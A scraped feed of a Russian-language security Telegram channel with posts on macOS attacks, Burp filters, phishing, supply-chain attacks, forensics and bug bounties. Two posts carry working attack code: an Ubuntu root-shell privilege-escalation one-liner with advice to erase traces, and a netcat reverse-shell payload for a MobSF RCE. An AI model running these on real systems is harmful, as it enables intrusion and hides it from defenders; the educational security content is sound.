Похек
16.4K subscribers
2.08K photos
110 videos
243 files
3.06K links
All materials published on the channel are for educational and informational purposes only.

Мнение автора ≠ мнение компании, где работает автор

Чат: @poxek_chat

Реклама: @PoxekAds_bot или
https://telega.in/c/poxek

РКН: https://clck.ru/3FsVhp
Download Telegram
Forwarded from infosec
• Ущерб от вчерашнего массового сбоя в работе доменной зоны RU мог составить примерно 200 млн рублей, посчитали в Центре компетенций НТИ. https://xn--r1a.website/it_secur/1448

• Как объясняют эксперты, речь идет о недополученной прибыли из-за невозможности осуществить покупки в онлайн-магазинах и сервисах.

#Разное
2
💻 The Art Of Infection In MacOS

Всю прошлую неделю были посты про Windows и прятки в ней против blue team. Подумал, что ущемил Яблочников (будто их можно ущемить ещё больше). Поэтому нашёл статейку по атакам на MacOS. В статье рассмотрены и защита в системе, и какие могут быть вектора атак. Скрипты, Динамические библиотеки, различный environment, Dylib Proxying, Dylib Hijacking, Затрояненные апки (в том числе через пиратский Photoshop 🌚), кастомные URL схемы, офисные макросы, а также атаки через проекты Xcode.
😑 А ещё щепоточка харденинга вашей MacOS.

➡️ Читать далее

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰103👏1
Калькулятор прав пользователя Linux
#полезное

💪 Я иногда туплю, когда не понимаю какие надо циферки писать, при разграничении прав в докере, чтобы он был секурнее. Думаю не у одного такая проблема. Поэтому нашёл удобную штуку под названием Chmod Calculator. Смысл в том, что вы тыкаете чекбоксы что вам нужно и он сам считает численное и буквенное значения прав. Полезная штука для многих, особенно для тех у кого нет в голове чипа Илона калькулятора)

➡️ https://chmod-calculator.com/

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚16🔥2🤩21
Forwarded from Positive Technologies
3️⃣, 2️⃣, 1️⃣ — поехали! Открываем прием заявок на выступления на киберфестивале Positive Hack Days 2

Если вы всегда мечтали собрать целый стадион, у нас отличные новости: PHDays Fest в этом году пройдет в «Лужниках» в Москве с 23 по 26 мая.

Спортивный комплекс на четыре дня превратится в киберарену: мы создадим настоящий мегаполис с интерактивными инсталляциями, а сотни спикеров расскажут о кибератаках и способах им противостоять.

🤟 Ждем крутых докладов как от профи, так и от новичков: главное — свежий взгляд на актуальные проблемы ИБ и пути их решения. Узнать все подробности и оставить заявку можно на сайте киберфестиваля.

Темы докладов принимаются до 15 марта
Будут два формата: доклад на 50 минут и короткое выступление на 15 минут.
Подавать заявку необходимо лично

До встречи на втором международном киберфестивале PHDays!
Больше подробностей — soon.

@Positive_Technologies
#PHD2
Please open Telegram to view this post
VIEW IN TELEGRAM
5
Forwarded from SHADOW:Group
😈 Обнаружение нестандартных заголовков в API с помощью фильтров Burp Bambdas

Что, если я скажу вам, что многие API используют нестандартные пользовательские HTTP-заголовки для управления бизнес-логикой и поведением?

Одним из простых способов увидеть такие заголовки в Burp, является применение шаблона для Bambdas:

if( !requestResponse.hasResponse() )
{
return false;
}

String[] standardHeaders = {
"accept-patch",
"accept-ranges",
"access-control-allow-credentials",
"access-control-allow-headers",
"access-control-allow-methods",
"access-control-allow-origin",
"access-control-expose-headers",
"access-control-max-age",
"age",
"allow",
"alt-svc",
"cache-control",
"clear-site-data",
"connection",
"content-disposition",
"content-encoding",
"content-language",
"content-length",
"content-location",
"content-range",
"content-security-policy",
"content-transfer-encoding",
"content-type",
"cross-origin-embedder-policy",
"cross-origin-opener-policy",
"cross-origin-resource-policy",
"date",
"delta-base",
"etag",
"expect-ct",
"expires",
"feature-policy",
"host",
"im",
"keep-alive",
"last-modified",
"link",
"location",
"pragma",
"proxy-authenticate",
"public-key-pins",
"referrer-policy",
"retry-after",
"server",
"set-cookie",
"strict-transport-security",
"tk",
"trailer",
"transfer-encoding",
"upgrade",
"vary",
"via",
"warning",
"www-authenticate",
"x-content-type-options",
"x-frame-options",
"x-permitted-cross-domain-policies",
"x-xss-protection"
};

List headersList = Arrays.asList(standardHeaders);

var headers = requestResponse.response().headers();

List unexpectedHeaders = new ArrayList();

for( var header : headers ) {
var headerName = header.name().toLowerCase();
if( !headersList.contains( headerName ) ) {
unexpectedHeaders.add( headerName );
}
}

if( unexpectedHeaders.size() > 0 ) {
requestResponse.annotations().setHighlightColor( HighlightColor.GRAY );
requestResponse.annotations().setNotes(
"Non-standard Headers: " + String.join( ",", unexpectedHeaders )
);
}
else {
// Maybe don't trample on existing Notes in the future??
requestResponse.annotations().setHighlightColor( HighlightColor.NONE );
requestResponse.annotations().setNotes("");
}

return true;


Подробнее про составление этого шаблона и возможности по его кастомизации читайте тут.

А если вы ничего не знаете о фильтрах Bambdas, то рекомендую вам ознакомиться со статьей о написании фильтров Bambda Like a Boss. В ней подробно описано, что это такое, почему вас это должно заинтересовать и как начать с этим работать.

#web #tools #burp
Please open Telegram to view this post
VIEW IN TELEGRAM
9🔥4🥰3
🌐🌐🌐🌐 Browser Attack Surface

А что вы знаете о специфичных атаках? Вот мы с вами разбирали Linux, Windows, Mac OS. Но мы же с вами помним, что обычные люди ставят обычные пароли, тем более одинаковые. Как мы обычно их находили пароли от Доменного Админа? Принтеры, IoT, веб-панели видеорегистраторов камер и ещё 99 вариантов)
А что если поискать пароли от учёток в сохраненных паролях браузера. Тем более зачастую шифрование там не очень. Стоит попробовать)

➡️ Читать далее

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
9
Forwarded from PurpleBear (Vadim Shelest)
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from PurpleBear (Vadim Shelest)
Frameless BITB

Browser in The Browser - хорошо знакомая техника получения учетных данных для первоначального доступа во время проведения фишинговых компаний, придуманная mr.d0x в 2022 году. Суть этой техники заключается в создании на фишинговой странице HTML iframe элемента, который имитирует редирект на страницу логина Microsoft для OAth2.0 авторизации в новом окне браузера. Эта техника будет работать при отсутствии X-Frame-Options: "DENY"/Content-Security-Policy: frame-ancestors "self"

По этой причине пытливый ум одного исследователя придумал тоже самое, только без iframe. Имитация "нового окна браузера" для логина Microsoft создается с помощью подстановки HTML, CSS с прокси перед проксей с Evilginx 🙈 и JS который добавляет эффект правдоподобности, а также фоном фишинговой страницы в Shadow DOM. Так же автор опубликовал код на github и подробную видео инструкцию с деталями использования на примере O365 Microsoft.

Обычно на проектах мы использовали другую технику BITB noVNC в киоске, с небольшой кастомизацей, которая по моему мнению намного проще и эффективнее, но мне понравился претекст с использованием Calendly👍

PS: Лайк, если хочется увидеть отдельную заметку про BITB noVNC🤙

#phishing #BITB
🔥125😍3👾1
Forwarded from APT
This media is not supported in your browser
VIEW IN TELEGRAM
🖼️ Bypass Medium Paywall

A little lifehack if you, like me, come across paid articles from Medium. These sites allow you to read paid Medium articles for free:

🔗 https://freedium.cfd/<URL>
🔗 https://medium-forall.vercel.app/

#medium #premium #bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥222😈21
Forwarded from Mobile AppSec World (Yury Shabalin)
Новая атака на цепочку поставок: Java и Android под ударом!

Буквально на днях компания Oversecured выпустила потрясающую статью про новую атаку на цепочку поставок. В этот раз под ударом оказались Java-пакеты и, конечно, под раздачу попал и Android...

Способ атаки крайне прост и изящен. Для того, чтобы загрузить новую версию или измененную старую в репозиторий, например, MavenCentral необходимо подтвердить, что ты это ты. Как это сделать? Перевернуть имя пакета и на указанном домене разместить dns-запись.

К примеру, пакет com.stingray.mobile превращается в домен mobile.stingray.com. И, добавив несколько полей в TXT-запись мы получаем верифицированный аккаунт, который может загружать новые и обновлять существующие версии.

Но как правило, при смене имени пакета случается так, что про старый домен забывают.. Или вообще домен уже давно разделегирован.

Суть атаки в покупке домена, регистрации себя, как собственника библиотеки и заливанию новой/обновленной версии с зловредной нагрузкой в репозиторий. Вуаля, и все проекты использующие эту зависимость или выкачивающие ее как транзитивную получают к себе бомбу замедленного действия...

Идеальный план и более того, ребята провели исследование всех библиотек в нескольких репозиториях и получили крайне интересные цифры по уязвимым либам:
1. По доменам: 3,710 or 14.18%
2. На основании приватных github-репо: 291 or 3.86%

Крайне интересные цифры.

Снимаю шляпу перед исследователями такого уровня :)

Я думаю, что скоро нас ждет интересное продолжение :)

#oversecured #supplychain #android
42🔥2
Forwarded from Mobile AppSec World (Yury Shabalin)
Mobile AppSec World
Новая атака на цепочку поставок: Java и Android под ударом! Буквально на днях компания Oversecured выпустила потрясающую статью про новую атаку на цепочку поставок. В этот раз под ударом оказались Java-пакеты и, конечно, под раздачу попал и Android... Способ…
И снова про MavenGate!

Я не смог устоять перед такой изящной атакой и не рассказать о ней более подробно.

И как мне показалось, ее недостаточно осветили и скорее всего не так поняли. Многих ввёл в заблуждение ответ Sonatype, который утверждает, что атака невозможна. Дело в том, что на самом деле один репозиторий пока не в состоянии решить эту проблему. До тех пор, пока можно будет загружать любые компоненты в любые репозитории - она будет актуальна и ещё как возможна!

И на самом деле, уязвимы не только 18% компонент, но и многие проекты по цепочке, которые используют уязвимые либы как зависимости. И дальше, паровозиком транзитивных зависимостей и попадёт скомпрометированная библиотека в проект конечного разработчика.

На момент вчерашнего дня уже было куплено 15 доменов и потихоньку эта цифра растет. Кто их покупает и для чего, хороший вопрос, но я уверен, что эта атака обязательно стрельнет где-то :)

Ну а мы в свою очередь добавили к себе анализ SBOM-файла для Android приложений, для того чтобы определить, есть ли проблемные зависимости в приложениях, которые мы анализируем. Уверен, что мы сможем помочь выявить «шпиона» :D

Всем приятного чтения, мы очень старались!

#habr #sca #supplychain
41
Forwarded from Bounty On Coffee
Вкратце, как прошел недельный багхантинг
Могу сказать, что выбор есть и на данный момент он достаточно большой, учитывая количество багхантеров на данный момент на РФ платформах.

За неделю багхантинга, преимущественно в выходные, сдал 16 багов. В основном все уровня High, пару критов и медиумов еще.

Багхантил преимущественно на 2х программах, в 1 из них пока поверхностно, в другом забурился уже достаточно глубоко и предвещаю еще достаточно много багов.

Если разделять по типам багов, преимущественно логические баги и несколько Server-Side инъекций.

Немного статистики будущего
- На платформы выходят новые программы, которые до этого не бывали на ББ
- Не высокий уровень защищенности
- Стабильное добавление новых программ

Учитывая все эти факторы. можно сказать, что в лайт режиме, тратя в среднем 1-3 часа в день можно сдавать 50+ багов в месяц
А если уж вы хантите фул, то и все 100-150+ багов в месяц

Ломаем дальше!
111
⌨️ Кто это ваша форензика?
#форензика #forensic #windows #powershell

❤️ Если честно, то никогда не увлекался форензикой. Был только 1 раз опыт во время WordSkills Russia (когда он ещё был). Тогда с другом искали флаг и pcap файлике, причем оба ничего в этом не понимали и даже флагов для Wireshark не знал. Хотя сейчас понимаю, что это был started таск по форензике на любой CTF.

Но вот недавно листая интернеты наткнулся на интересную гитхаб репу, которая на мой взгляд сильно облегчает работу любому форензику, особенно начинающему — MemProcFS-Analyzer.

❤️ Собственно MemProcFS расшифровывается как The Memory Process File System, а MemProcFS-Analyzer это форк оригинального проекта с C на PowerShell, что несомненно более user-friendly.

❤️ Если вас заинтересует азы темы анализа физической памяти, то советую посмотреть MemProcFS - This Changes Everything. Также есть полноценный доклад про форензику памяти и про DMA атаку. А также есть канал с live демо видео, как изучать виртуальную память. Советую к просмотру всем заинтересованным.

❤️ Вперед в прошлое. Автор видео показывает, как можно вытащить пароль от FileVault2 на MacOS. Интересный опыт из прошлого.

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
7🌚2
Ubuntu Privilege escalation
CVE-2023-32629 & CVE-2023-2640

#linux #LPE #полезное

PoC:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"


📌 Не забывайте убрать следы эксплуатации (папки l u w m):
rm -rf l u w m


🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
15🌚441
Forwarded from wr3dmast3r vs pentest
Вы когда нибудь задумывались, как может выглядеть гонка состояний на клиентской стороне в DOM-модели? 😳

Сегодня я постараюсь рассказать, как можно раскрутить Self-XSS, используя её в комбинации с CSRF, Race Condition и свойством window.opener, благодаря которому, в свою очередь, можно проводить фишинговые атаки на пользователей. 😈

https://telegra.ph/XSS-Advanced-Level-pt2-02-01
Please open Telegram to view this post
VIEW IN TELEGRAM
511
Forwarded from SecuriXy.kz
#CVE-2024-21633 - #MobSF Remote code execution (#RCE)

MobSF - статический анализатор приложений: Android, Apple iOS и Windows Phone и динамический анализ: только приложения Android.

Пересобрав приложение с ночинкой в res/raw/jadx к примерутакого содержания:


#!/bin/bash
nc host.docker.internal 9001 -e sh

Можно получить реверс шелл с хоста на котором стоит анализатор, из-за фичи самого MobSF который позволяет записать что угодно по относительному пути ${decode target path}/res/

https://www.qu35t.pw/posts/2024-21633-mobsf-rce/

https://github.com/0x33c0unt/CVE-2024-21633
7
ModSecurity WAF Bypass
CVE-2024-1019


Недавно была обнаружена значительная уязвимость в ModSecurity версий 3.0.0 - 3.0.11, идентифицированная как CVE-2024-1019. Эта уязвимость, получившая оценку CVSS 8.6, представляет серьезную опасность, позволяя обойти WAF для полезной нагрузки, основанной на пути в URL-адресах запросов.
Злоумышленники могут использовать CVE-2024-1019, создавая URL-адреса запросов с кодированными в процентах вопросительными знаками (%3F). Когда ModSecurity декодирует такие URL, он ошибочно определяет позицию компонента запроса, что позволяет злоумышленнику стратегически разместить полезную нагрузку в пути URL, чтобы обойти правила ModSecurity, предназначенные для проверки компонентов пути.

Данная проблема затрагивает переменные REQUEST_FILENAME и REQUEST_BASENAME, которые используются для проверки путей. Следовательно, правила, опирающиеся на эти переменные, могут оказаться неэффективными в борьбе с этим эксплойтом.

Пользователям и интеграторам ModSecurity настоятельно рекомендуется обновиться до версии 3.0.12, в которой эта уязвимость устранена. Важно отметить, что ModSecurity v2, а именно v2.9.x, остается незатронутой этим багом.

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
12🌚11
Forwarded from Standoff 365
🔥 Positive Technologies запускает багбаунти на 60 млн рублей!

В программу Positive Dream Hunting добавлено второе недопустимое событие — внедрение закладки в код продуктов Positive Technologies.

Вознаграждение получит багхантер (или команда), который сможет разместить условно вредоносную рабочую сборку с потенциально зловредным кодом на внутреннем сервере обновлений gus.ptsecurity.com либо публичных серверах update.ptsecurity.com.

Белым хакерам, которые выполнят один или несколько шагов до потенциальной реализации недопустимого события, будет присуждаться поощрительное вознаграждение. В частности:

300–500 тыс. рублей — за преодоление сетевого периметра и закрепление на узле

3–5 млн рублей — за внедрение кода в публичный релиз продукта на этапе хранения или тестирования

Все условия программы можно найти на нашем сайте.

Кроме того, Positive Technologies увеличивает вознаграждение за реализацию первого недопустимого события — кражу денег со счетов — до 60 млн рублей. До сих пор выполнить сценарий полностью не смог ни один багхантер.

😏 Испытать свои силы можно здесь: https://bugbounty.standoff365.com/programs/ptsecurity_ns/
6🌚21
Учимся ломать мобилки с Frida Labs
#мобилки #mobile_pentest

Когда-то я выложил супер залётный мем, который собрал по меньшей мере 18к просмотров без учетов того момента, когда у меня его своровали. И кроме того, что шутить про мобилки я только знаю какие ЯП/фреймворки используются и базовые тулзы. Но если вам по работе надо изучить мобилки или вы только учитесь и решили выбрать это очень интересное направление где сильно меньше конкуренции, чем в вебе. Frida является основополагающим инструментом при пентесте мобилки. Если ты ранее не пользовался Frida то тебе очень полезна будет Frida Labs.

Содержание репозитория:
Challenge 0x1 : Frida setup, Hooking a method
Challenge 0x2 : Calling a static method
Challenge 0x3 : Changing the value of a variable
Challenge 0x4 : Creating a class instance
Challenge 0x5 : Invoking methods on an existing instance
Challenge 0x6 : Invoking a method with an object argument
Challenge 0x7 : Hooking the constructor
Challenge 0x8 : Introduction to native hooking
Challenge 0x9 : Changing the return value of a native function
Challenge 0xA : Calling a native function
Challenge 0xB : Patching instructions using X86Writer and ARM64Writer

Полезные ресурсы от автора репы:
https://learnfrida.info/advanced_usage
https://codeshare.frida.re

🌚 @poxek
Please open Telegram to view this post
VIEW IN TELEGRAM
11🌚221